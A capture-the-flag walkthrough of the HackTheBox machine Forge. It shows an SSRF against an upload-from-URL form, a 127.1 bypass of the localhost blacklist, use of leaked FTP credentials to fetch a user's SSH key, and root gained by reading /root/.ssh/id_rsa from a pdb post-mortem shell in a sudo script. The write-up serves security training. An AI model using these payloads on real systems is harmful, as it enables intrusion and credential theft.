HackTheBox - Forge
Summary
Forge | |
---|---|
Difficulty: | Medium |
OS: | Linux |
Release date: | 11-09-2021 |
Forge was a medium Linux machine running a web application that contained an SSRF vulnerability. Exploitation of the SSRF vulnerability revealed a set of FTP credentials that made it possible to retrieve a private SSH key from the system. Root access was obtained by triggering an exception in a Python script to launch a Pdb shell. Since the Python script ran as root, privilege escalation was achieved through the Pdb shell. |
Foothold
An Nmap scan revealed that this machine was running a webserver on port 80, SSH on port 22, and interestingly FTP on port 21. The ‘filtered’ state indicates that this service is behind a firewall.
mick@kali:~/Documents/HackTheBox/Forge$ nmap -sV -sC -oN nmap_forge 10.129.220.44
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-14 22:07 CEST
Nmap scan report for 10.129.220.44
Host is up (0.055s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
| 256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_ 256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.18 seconds
The web application was a gallery of images that also offered file upload functionality at /upload
.
At this point it was likely that this image upload functionality can be exploited.
Some additional enumeration revealed an interesting subdomain called: admin.forge.htb
.
mick@kali:~/Documents/HackTheBox/Forge$ wfuzz -w subdomains_top5000.txt --sc 200 -H "Host: FUZZ.forge.htb" forge.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://forge.htb/
Total requests: 4989
====================================================================
ID Response Lines Word Chars Payload
====================================================================
...
000000024: 200 1 L 4 W 27 Ch "admin"
...
After adding admin.forge.htb
to my /etc/hosts
file, a curl request to that endpoint showed that that page was only accessible from localhost
.
mick@kali:~/Documents/HackTheBox/Forge$ curl http://admin.forge.htb
Only localhost is allowed!
Since the webpage also offered the option “Upload from url”, it was worth a try to upload the admin.forge.htb
page. By leveraging this SSRF vulnerability, I was able to view the content of that page even though it was only supposed to be accessible from localhost
.
After requesting the URL where the content of admin.forge.htb
was uploaded, I discovered a new endpoint ‘announcements’.
mick@kali:~/Documents/HackTheBox/Forge$ curl http://forge.htb/uploads/N5yhKi7Aq14fHm4aSXLw
<!DOCTYPE html>
<html>
<head>
<title>Admin Portal</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
</nav>
</header>
<br><br><br><br>
<br><br><br><br>
<center><h1>Welcome Admins!</h1></center>
</body>
</html>
Requesting the ‘/announcements’ endpoint with the same trick revealed a set of FTP credentials: user:heightofsecurity123!
.
mick@kali:~/Documents/HackTheBox/Forge$ curl http://forge.htb/uploads/ZaKnCAcMIPtJhm03A3kv
<!DOCTYPE html>
<html>
<head>
<title>Announcements</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
</nav>
</header>
<br><br><br>
<ul>
<li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
<li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
<li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.</li>
</ul>
</body>
</html>
Since the FTP service was running behind a firewall, there was no way to access it directly. The SSRF vulnerability, however, could be used to access FTP. Unfortunately, trying to do so by submitting the URL http://ADMIN.FORGE.HTB/upload?u=ftp://user:[email protected]
to the “Upload from url” form showed that the URL contained a blacklisted address.
There was an SSRF prevention mechanism in place that prevented the localhost address 127.0.0.1
from being requested. A small trick was used to bypass this mechanism. The address 127.1
is also a localhost address. By submitting http://ADMIN.FORGE.HTB/upload?u=ftp://user:[email protected]
to the form, a listing of the FTP directory was successfully requested.
mick@kali:~/Documents/HackTheBox/Forge$ curl http://forge.htb/uploads/6IZ0EzrxkmRF61jb1lTe
drwxr-xr-x 3 1000 1000 4096 Aug 04 19:23 snap
-rw-r----- 1 0 1000 33 Jan 28 06:18 user.txt
Since this directory was apparently a user’s home directory, I tried to retrieve the user’s private SSH key by submitting the following payload http://ADMIN.FORGE.HTB/upload?u=ftp://user:[email protected]/.ssh/id_rsa
to the form.
mick@kali:~/Documents/HackTheBox/Forge$ curl http://forge.htb/uploads/F5SoAIgJxtNoqMAPp9XQ
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAnZIO+Qywfgnftqo5as+orHW/w1WbrG6i6B7Tv2PdQ09NixOmtHR3
rnxHouv4/l1pO2njPf5GbjVHAsMwJDXmDNjaqZfO9OYC7K7hr7FV6xlUWThwcKo0hIOVuE
...
shlLupso7WoS0AAAAKdXNlckBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----
After saving this private SSH key to a file, I managed to get access to the system.
mick@kali:~/Documents/HackTheBox/Forge$ ssh -i id_rsa [email protected]
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat 25 Sep 2021 10:17:38 AM UTC
System load: 0.0 Processes: 223
Usage of /: 44.9% of 6.82GB Users logged in: 0
Memory usage: 22% IPv4 address for eth0: 10.10.11.111
Swap usage: 0%
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Sep 24 20:13:50 2021 from 10.10.16.2
user@forge:~$ cat user.txt
ebd4e29c9829e0ac2d38a05d8e33002a
Root access
Checking for commands that this user can run as root revealed a Python script called /opt/remote-manage.py
.
user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on forge:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
The script contained the following code.
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb
port = random.randint(1025, 65535)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', port))
sock.listen(1)
print(f'Listening on localhost:{port}')
(clientsock, addr) = sock.accept()
clientsock.send(b'Enter the secret passsword: ')
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
clientsock.send(b'Wrong password!\n')
else:
clientsock.send(b'Welcome admin!\n')
while True:
clientsock.send(b'\nWhat do you wanna do: \n')
clientsock.send(b'[1] View processes\n')
clientsock.send(b'[2] View free memory\n')
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
clientsock.send(subprocess.getoutput('ps aux').encode())
elif option == 2:
clientsock.send(subprocess.getoutput('df').encode())
elif option == 3:
clientsock.send(subprocess.getoutput('ss -lnt').encode())
elif option == 4:
clientsock.send(b'Bye\n')
break
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()
The highlighted lines are particularly interesting. They indicate that this script goes into pdb.post_mortem
mode upon encountering an exception. Pdb is the Python debugger. Upon entering post_mortem
mode, the user is allowed to execute Python code. In this specific context that is a privilege escalation vector since this script can be executed as root. At this point the only thing left to do was to trigger an exception in the script.
...
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
...
...
Line 4 in the code excerpt above appeared to be the point where an exception could be triggered by supplying a non-integer value.
To successfully execute this privilege escalation, 2 SSH connections had to be made to be able to interact with the Python script on the machine.
In one SSH session I ran the Python script.
user@forge:~$ sudo python3 /opt/remote-manage.py
Listening on localhost:41304
In another SSH session, I interacted with the script by connecting to localhost:41304
and provided a non-integer (‘a’) as input.
user@forge:~$ nc localhost 41304
Enter the secret passsword: secretadminpassword
Welcome admin!
What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
a
This raised an exception and made the script enter the pdb.post_mortem
mode.
user@forge:~$ sudo python3 /opt/remote-manage.py
Listening on localhost:41304
invalid literal for int() with base 10: b'a'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb)
I was then able to obtain root’s private SSH key.
(Pdb) import os
(Pdb) os.system("cat /root/.ssh/id_rsa")
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAusTE7uvvBLrfqDLv6I/+Xc9W/RVGA4eFPOowUNkHDZ4MTUm4cK4/
...
xIK6PSiF7Hs2Z7BZOVQd1BpblnZrL3mbJcdvXS8n55QgDuxfJeoxKrr9r1r/WqRjtce8/A
ZPz43Mi1EOl78AAAAKcm9vdEBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----
After saving this SSH key locally, I was able to get root access to the system.
mick@kali:~/Documents/HackTheBox/Forge$ ssh [email protected] -i id_rsa_root
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat 25 Sep 2021 10:48:42 AM UTC
System load: 0.0 Processes: 226
Usage of /: 44.9% of 6.82GB Users logged in: 1
Memory usage: 23% IPv4 address for eth0: 10.10.11.111
Swap usage: 0%
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Sep 7 17:07:50 2021
root@forge:~# cat root.txt
7cb49bd78563893b8fc7ca212d72e4b4